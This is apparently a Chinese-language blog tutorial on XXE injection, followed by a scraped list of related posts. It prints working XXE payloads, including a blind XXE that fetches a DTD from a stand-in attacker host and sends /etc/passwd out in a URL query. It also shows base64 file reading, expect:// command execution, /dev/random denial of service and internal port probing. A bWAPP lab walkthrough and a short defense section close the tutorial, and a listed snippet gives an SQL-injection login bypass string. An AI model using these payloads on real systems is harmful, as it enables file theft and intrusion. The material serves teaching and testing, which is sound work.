如图这个HTTP包,包头可以看到Content-type为xml,文件接受者以xml的形式读取文件,然后服务器会正常返回在body里的以POST方式传递过去的xml代码执行内容。由此就可以构造常规的恶意xml代码(非blind型的XXE)
2.blind型的XXE
可以构造如下xml恶意代码:
<?xml version="1.0" ?>
<!DOCTYPE nay[
<! ENTITY %remote SYSTEM "http://xxe.com/eval.dtd">%remote;%ppp;%send;
]>
<foo></foo>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件
写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
<!ENTITY %name SYSTEM "file://etc/passwd">
<!ENTITY %ppp "<!ENTITY %send SYSTEM 'http://your-ip/?p=%name;'>">
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,然后加载ppp参数实体,
接下来加载send实体,此时就是关键点,就是用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器
日志中留下记录),查询的字符串p的值便是参数实体name的值。
3.XXE的手工检测方法:
<! DOCTYPE any[
<! ENTITY shit "this is a test">
]>
<root>
&shit;
</root>
如果Response里出现“this is a test”说明存在XML调用,则可以继续加载外部实体。
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://you-host/eval.xml”>
%shit;
]>
然后查看自己服务器的日志,来目标服务器是否想你的服务器发送了一条请求eval.xml的HTTP Request。
如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
如果不能回显,毫无疑问,使用Blind XXE攻击方法。
0x02:XML外部实体注入利用(XML External Entity)
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
不同程序支持的协议不一样
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有:
XXE常见利用环境:
xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,
从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,
可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如
wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录。这里简单来说就是攻击者必须具有一台具有公网ip的主机。
XXE危害1:读取任意文件
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
如果数据不回显怎么办?可以把数据发送到远程服务器。
远程服务器DTD:
触发XXE攻击后,服务器会把文件内容发送到攻击者网站
收到的信息base64解码即可
如果失败,可能是由于读取php等文件时文件本身包含的<等字符被过滤,可以使用Base64编码绕过,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
XXE危害2:执行系统命令
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
XXE危害3:探测内网端口
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
XXE危害4:攻击内网网站
该CASE是攻击内网struts2网站,远程执行系统命令。
XXE危害5:插入XSS
在XXE中插入XSS:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [
<!ENTITY bWAPP "<script>alert("Hello Flaray")</script>"> ]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
XXE危害6:拒绝服务攻击(DDOS)
我们可以使用XXE漏洞来导致拒绝服务。通过请求永不返回的文件(例如/ dev / random和/ dev / zero)来导致拒绝服务。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/random">
]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
和
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/zero">
]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
XXE危害7:代码执行
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "expect://id">
]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞
0X03:使用bWAPP进行XXE练手:
bwapp可以单独下载,也可以下载一个虚拟机版本,解压后直接打开虚拟机就可以访问。
单独下载的话需要部署到apache+mysql+php的环境中,发现下载的不同版本的bWAPP居然内容不一样,也就是坑爹的每个版本分别包含不同内容,所以推荐使用bee-box。
单独安装的话:
虚拟机的话:
下载之后解压,用vmware“打开虚拟机”即可
默认账号密码为:bee/bug
但使用用虚拟机的方式的话存在一个键盘乱序的问题,需要做如下设置:
System -> preferences -> keyboard -> layouts -> +add【layouts:China】
keyboard -> A4Tech KB-21
注意:bee-box中的bWAPP可以升级但系统不能升级
登录默认账号bee/密码bug
bee-box是ubuntu13.04 32位。
可以直接打开bee-box然后在物理机浏览器里使用bWAPP(跟127.0.0.1一样的用法),虚拟机的版本可用的软件实在糟心。
安全等级:low
payload:
<?xml version="1.0" encoding="UTF-8"?>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
其中<?xml version="1.0" encoding="UTF-8"?>可以省去。
我们也可以利用XXE来读取网站目录下的一些重要文件,只要修改外部实体定义语句<!DOCTYPE copyright [<!ENTITY test SYSTEM "">]>即可。
PS:读取内网中其他服务器文件也是可行的,这也是BWAPP作者将XXE归到SSRF利用里原因:
测试端口是否开放,用80端口测试:
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
如图说明开放
修改为180端口,发现不开放
通过XML引用外网站DTD文件来利用XXE漏洞:
打开phpstudy构造本地回环网站,再输入自己的IP来利用了本机回环地址下的1.dtd。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://192.168.X.X/1.dtd">
%d;]>
<reset>
<login>&b;</login>
<secret>Any bugs?</secret>
</reset>
1.dtd内容:
Medium/Hign等级
使用上面使用的语句提示reset。
分析下源代码:
login元素值变成了从session中获取,攻击者无法利用login元素来进行XXE攻击。
0X04:防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
其他语言:
方案二、过滤用户提交的XML数据
关键词:SYSTEM和PUBLIC。
方案三、其他语言替代
使用json等替代xml
参考:
- 一些CMS网站系统漏洞,练手用(持续更新)
仅供拿shell,提权测试用,请勿恶意破坏 XuSoft系统: 后台万能密码:'or'='or' 可直接登陆,后台地址 /manage/login.asp inurl:ReadArticlemb.a ...
- 面向对象第一次练手-------ArrayList集合、类、对象、冒泡排序、类型转换
思维转不过弯儿来 怎么做都是错 哪怕差一个()就成功的事情,也是千差万别 忽然想到一句话:差一步就成功的距离 = 差几万米就成功的距离 部分的理解和都体现在代码和注释里 using S ...
- web前端学习部落22群分享给需要前端练手项目
前端学习还是很有趣的,可以较快的上手然后自己开发一些好玩的项目来练手,网上也可以一抓一大把关于前端开发的小项目,可是还是有新手在学习的时候不知道可以做什么,以及怎么做,因此,就整理了一些前端项目教程, ...
- webpack练手项目之easySlide(一):初探webpack (转)
最近在学习webpack,正好拿了之前做的一个小组件,图片轮播来做了下练手,让我们一起来初步感受下webpack的神奇魅力. webpack是一个前端的打包管理工具,大家可以前往:http:/ ...
- xxe漏洞检测及代码执行过程
这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...
- 70个Python练手项目列表(都有完整教程)
前言: 不管学习那门语言都希望能做出实际的东西来,这个实际的东西当然就是项目啦,不用多说大家都知道学编程语言一定要做项目才行. 这里整理了70个Python实战项目列表,都有完整且详细的教程,你可以从 ...
- 一步一步 Pwn RouterOS之ctf题练手
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文目的是以一道比较简单的 ctf 的练手,为后面的分析 Rout ...
- 推荐:一个适合于Python新手的入门练手项目
随着人工智能的兴起,国内掀起了一股Python学习热潮,入门级编程语言,大多选择Python,有经验的程序员,也开始学习Python,正所谓是人生苦短,我用Python 有个Python入门练手项目, ...
- 8.bwapp亲测xxe漏洞
这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤, 从而可以造成命令执行,目录遍历 ...
- webpack练手项目之easySlide(一):初探webpack
最近在学习webpack,正好拿了之前做的一个小组件,图片轮播来做了下练手,让我们一起来初步感受下webpack的神奇魅力. webpack是一个前端的打包管理工具,大家可以前往:http:/ ...
随机推荐
- NodeJS 实战系列:如何设计 try catch
本文将通过一个 NodeJS 程序里无效的错误捕获示例,来讲解错误捕获里常见的陷阱.错误捕获不是凭感觉添加 try catch 语句,它的首要目的是提供有效的错误排查信息,只有精心设计的错误捕获才有可 ...
- HashSet集合介绍-哈希值
HashSet集合介绍 java.util.HashSet是set 接口的一个实现类,它所存储的元素是不可重复的,并且元素都是无序的(即存取顺序不一致).java.util.HashSet底层的实现其 ...
- vue学习笔记(一)---- vue指令( v-on 事件绑定 )
Vue 中提供了 v-on: 事件绑定机制 绑定的事件处理函数必须定义到vm实例的事件处理函数 methods 中去 <div id="app"> <!-- &l ...
- 构建api gateway之 健康检查
Healthcheck 由于服务无法保证永远不会下线,而且下线时不一定能有人员能及时发现, 所以api gateway 一般会引入一个监工 Healthcheck, 像大家每年体检一样定时确认服务是否 ...
- C-06\数组
一.一维数组 数组:表示同类数据的集合(业务功能一致且数据类型一样) []: 定义时,表示数组身份与标志,其中数值表示数组元素的总个数 定义以外使用时,表示下标运算,下标运算有两个操作符:指针 ...
- Rust Rand生成随机数
# in project file cargo add rand extern crate rand; use rand::Rng; fn main() { let mut rng = rand::t ...
- c++标准库string的使用完美总结——十分详细,复习学习记忆都可以使用
std::string详解 之所以抛弃char*的字符串而选用C++标准程序库中的string类,是因为他和前者比较起来,不必 担心内存是否足够.字符串长度等等,而且作为一个类出现,他集成的操作函数足 ...
- Git 多账号 SSH 配置
[前言] 在企业工作环境中,我们一般会用企业的github或gitlab等账号,同时也会配置相关的ssh访问方式. 当我们想要同时操作个人github或gitlab仓库时,就无法重复使用现有的ssh公 ...
- GIN--HOW POWERFUL GNN
HOW POWERFUL ARE GRAPH NEURAL NETWORKS? 本文是 Jure Leskovec 又一力作,首先对图神经网络的原理做了深入检出.提纲挈领的叙述,然后从原理方面介绍了如 ...
- LG P2633 Count on a tree
\(\text{Solution}\) 树上主席树板子 \(\text{Code}\) #include <cstdio> #include <algorithm> #defi ...